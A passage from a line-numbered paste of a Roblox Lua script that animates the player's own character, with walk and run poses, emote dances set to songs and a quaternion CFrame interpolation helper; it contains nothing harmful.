  7043. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  7044. end
  7045. end
  7046.  
  7047.  
  7048.  
  7049.  
  7050. if k == "q" then
  7051. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  7052. if sitting then return end
  7053. looking = true
  7054. rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
  7055. end
  7056. if k == "e" then
  7057. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  7058. if sitting then return end
  7059. looking = true
  7060. rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
  7061. end
  7062. if string.byte(k) == 48 or string.byte(k) == 47 then
  7063. if sitting then return end
  7064. humanoid.WalkSpeed = 18
  7065. end
  7066. if string.byte(k) == 52 then
  7067. if sitting then return end
  7068. humanoid.WalkSpeed = 6
  7069. end
  7070. end)
  7071.  
  7072. mouse.KeyUp:connect(function(k)
  7073. if string.byte(k) == 48 or string.byte(k) == 47 then
  7074. if sitting then return end
  7075. humanoid.WalkSpeed = 11
  7076. end
  7077. if k == "w" or k == "a" or k == "s" or k == "d" or string.byte(k) == 32 then
  7078. superannoying = false
  7079. barrelroll = false
  7080. heya = false
  7081. dubstepgun = false
  7082. youpirate = false
  7083. canttouch = false
  7084. gangnam = false
  7085. sheddy = false
  7086. durka = false
  7087. saxguy = false
  7088. foxie = false
  7089. burndem = false
  7090. bronymusic = false
  7091. brony_music:stop()
  7092. fox_say:stop()
  7093. spitfire:stop()
  7094. heman:stop()
  7095. justin:stop()
  7096. jb = false
  7097. durk:stop()
  7098. restorecolors()
  7099. burn_dem:stop()
  7100. if hat then
  7101. hat:Destroy()
  7102. end
  7103. sax_guy:stop()
  7104. gangy_style:stop()
  7105. cant_touch:stop()
  7106. you_are_pirate:stop()
  7107. dubstep_gun:stop()
  7108. super_annoying:stop()
  7109. barrel_roll:stop()
  7110. dancing = false
  7111. global_wait = 0
  7112. LightForTorso.Color = torso.BrickColor.Color
  7113. end
  7114.  
  7115.  
  7116. if k == "q" then
  7117. if looking then
  7118. if sitting then return end
  7119. rj.C0 = CFrame.new()
  7120. looking = false
  7121. end
  7122. end
  7123.  
  7124. if k == "e" then
  7125. if looking then
  7126. if sitting then return end
  7127. rj.C0 = CFrame.new()
  7128. looking = false
  7129. end
  7130. end
  7131. end)
  7132.  
  7133.  
  7134. game:service'RunService'.Stepped:connect(function()
  7135. count = (count % 100) + countspeed
  7136. angle = math.pi * math.sin(math.pi*2/100*count)
  7137.  
  7138. if slidecount < slidecountmax then
  7139. slidecount = slidecount + speed
  7140. end
  7141. if slidecount > slidecountmax then
  7142. slidecount = slidecount - speed
  7143. end
  7144. if global_wait == 380 then global_wait = 0 end
  7145.  
  7146. sine = sine + sinespeed
  7147. if not dancing then
  7148. if not sitting then
  7149. local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
  7150. local hitz, enz = workspace:FindPartOnRay(ray, char)
  7151. if not hitz then
  7152. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
  7153. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
  7154. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
  7155. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
  7156. if not looking then
  7157. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7158. end
  7159. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7160. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  7161.  
  7162. -- idle anim
  7163.  
  7164. anim = "Idle"
  7165. if anim ~= lastanim then
  7166. if lastanim == "Walking" then
  7167. speed = 0.5
  7168. slidecount = 1
  7169. slidecountmax = 0
  7170. elseif lastanim == "Running" then
  7171. speed = 2.5
  7172. slidecount = 5
  7173. slidecountmax = 0
  7174. else
  7175. slidecount = 0
  7176. slidecountmax = 0
  7177. end
  7178. end
  7179. countspeed = 1
  7180. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
  7181. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
  7182. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
  7183. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
  7184. if not looking then
  7185. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7186. end
  7187. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7188. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
  7189. looking = false
  7190. -- walk anim
  7191. anim = "Walking"
  7192. if anim ~= lastanim then
  7193. speed = 0.2
  7194. slidecount = 0
  7195. slidecountmax = 1
  7196. if lastanim == "Running" then
  7197. slidecount = 5
  7198. end
  7199. end
  7200. countspeed = 6
  7201. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
  7202. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
  7203. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
  7204. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
  7205. rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  7206. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7207. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
  7208. --run anim
  7209. anim = "Running"
  7210. if anim ~= lastanim then
  7211. speed = 1
  7212. slidecount = 0
  7213. slidecountmax = 5
  7214. if lastanim == "Walking" then
  7215. slidecount = 1
  7216. end
  7217. end
  7218.  
  7219. looking = false
  7220. countspeed = 9
  7221. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
  7222. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
  7223. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
  7224. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
  7225. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  7226. rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
  7227. end
  7228.  
  7229. lastanim = anim
  7230. else
  7231. countspeed = 1
  7232. local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
  7233. local hitz, enz = workspace:FindPartOnRay(ray, char)
  7234. if not hitz then
  7235. rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
  7236. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
  7237. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
  7238. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
  7239. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
  7240. else
  7241. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  7242. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  7243. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  7244. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  7245. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  7246. end
  7247.  
  7248. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
  7249. end
  7250. else
  7251. if superannoying then
  7252. countspeed = 5
  7253. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7254. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7255. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7256. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7257. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7258. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7259. elseif barrelroll then
  7260. countspeed = 5
  7261. sinespeed = 0.1
  7262. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
  7263. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
  7264. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
  7265. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
  7266. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7267. rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
  7268. elseif dubstepgun then
  7269. global_wait = (global_wait % 380) + 1
  7270. countspeed = 5
  7271. if global_wait < 249 - 40 then
  7272. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
  7273. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
  7274. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7275. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7276. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7277. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7278. elseif global_wait > 249 - 40 then
  7279. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
  7280. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  7281. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
  7282. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
  7283. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7284. rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
  7285. end
  7286. elseif youpirate then
  7287. global_wait = (global_wait % 380) + 1
  7288. countspeed = 5
  7289. if global_wait < 79 then
  7290. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  7291. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  7292. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7293. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7294. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7295. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7296. elseif global_wait < 299 then
  7297. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
  7298. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  7299. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
  7300. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
  7301. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
  7302. rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7303. elseif global_wait > 299 then
  7304. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  7305. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  7306. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7307. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7308. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7309. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  7310. end
  7311. elseif canttouch then
  7312. countspeed = 5
  7313. global_wait = (global_wait % 160) + 1
  7314. if global_wait == 160 then global_wait = 0 end
  7315. if global_wait < 39 then
  7316. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7317. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7318. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7319. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7320. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7321. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
  7322. elseif global_wait < 79 then
  7323. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  7324. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  7325. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  7326. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  7327. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7328. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
  7329. elseif global_wait < 119 then
  7330. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  7331. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  7332. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  7333. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  7334. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7335. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  7336. torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
  7337. elseif global_wait > 119 then
  7338. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  7339. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  7340. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  7341. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  7342. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7343. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  7344. torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
  7345. end
  7346. elseif gangnam then
  7347. countspeed = 5
  7348. if global_wait == 180 then global_wait = 0 end
  7349. global_wait = (global_wait % 180) + 1
  7350. if global_wait < 89 then
  7351. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  7352. rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
  7353. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7354. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7355. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7356. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7357. elseif global_wait > 89 then
  7358. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  7359. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
  7360. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7361. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7362. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7363. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7364. end
  7365. elseif foxie then
  7366. countspeed = 5
  7367. global_wait = (global_wait % 380) + 2
  7368. if global_wait < 89 then
  7369. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
  7370. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
  7371. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7372. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7373. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7374. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
  7375. elseif global_wait > 89 then
  7376. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
  7377. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
  7378. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7379. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7380. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
  7381. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7382. end
  7383. elseif durka then
  7384. countspeed = 2
  7385. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
  7386. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
  7387. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
  7388. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
  7389. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7390. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7391. elseif saxguy then
  7392. countspeed = 5
  7393. ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
  7394. rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
  7395. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
  7396. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
  7397. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
  7398. rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7399. elseif heya then
  7400. countspeed = 5
  7401. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
  7402. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
  7403. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7404. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7405. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7406. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
  7407. elseif jb then
  7408. countspeed = 5
  7409. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  7410. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  7411. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7412. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7413. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7414. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7415. elseif bronymusic then
  7416. countspeed = 5
  7417. ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
  7418. rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
  7419. lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
  7420. rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
  7421. neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
  7422. rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
  7423. elseif sheddy then
  7424. countspeed = 7
  7425. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  7426. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  7427. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7428. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7429. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7430. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7431. elseif burndem then
  7432. countspeed = 4
  7433. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  7434. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  7435. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7436. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7437. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7438. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7439. end
  7440. end
  7441. end)
  7442.  
  7443.  
  7444. plr.Chatted:connect(function(msg)
  7445. game:service'Chat':Chat(head, msg, 1)
  7446. if msg == "die/" then
  7447. char:breakJoints()
  7448. end
  7449.  
  7450. end)
  7451.  
  7452. end)
  7453. if not ran and err then
  7454. print(err)
  7455. end
  7456. ]==]
  7457.  
  7458. Doge = [==[
  7459. do --CFrame lerp
  7460. local function QuaternionFromCFrame(cf)
  7461. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  7462. local trace = m00 + m11 + m22
  7463. if trace > 0 then
  7464. local s = math.sqrt(1 + trace)
  7465. local recip = 0.5/s
  7466. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  7467. else
  7468. local i = 0
  7469. if m11 > m00 then
  7470. i = 1
  7471. end
  7472. if m22 > (i == 0 and m00 or m11) then
  7473. i = 2
  7474. end
  7475. if i == 0 then
  7476. local s = math.sqrt(m00-m11-m22+1)
  7477. local recip = 0.5/s
  7478. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  7479. elseif i == 1 then
  7480. local s = math.sqrt(m11-m22-m00+1)
  7481. local recip = 0.5/s
  7482. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  7483. elseif i == 2 then
  7484. local s = math.sqrt(m22-m00-m11+1)
  7485. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  7486. end
  7487. end
  7488. end
  7489. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  7490. local xs, ys, zs = x + x, y + y, z + z
  7491. local wx, wy, wz = w*xs, w*ys, w*zs
  7492. local xx = x*xs
  7493. local xy = x*ys
  7494. local xz = x*zs
  7495. local yy = y*ys
  7496. local yz = y*zs
  7497. local zz = z*zs
  7498. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  7499. end
  7500. local function QuaternionSlerp(a, b, t)
  7501. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  7502. local startInterp, finishInterp;
  7503. if cosTheta >= 0.0001 then
  7504. if (1 - cosTheta) > 0.0001 then
  7505. local theta = math.acos(cosTheta)
  7506. local invSinTheta = 1/math.sin(theta)
  7507. startInterp = math.sin((1-t)*theta)*invSinTheta
  7508. finishInterp = math.sin(t*theta)*invSinTheta
  7509. else
  7510. startInterp = 1-t
  7511. finishInterp = t
  7512. end
  7513. else
  7514. if (1+cosTheta) > 0.0001 then
  7515. local theta = math.acos(-cosTheta)
  7516. local invSinTheta = 1/math.sin(theta)
  7517. startInterp = math.sin((t-1)*theta)*invSinTheta
  7518. finishInterp = math.sin(t*theta)*invSinTheta
  7519. else
  7520. startInterp = t-1
  7521. finishInterp = t
  7522. end
  7523. end
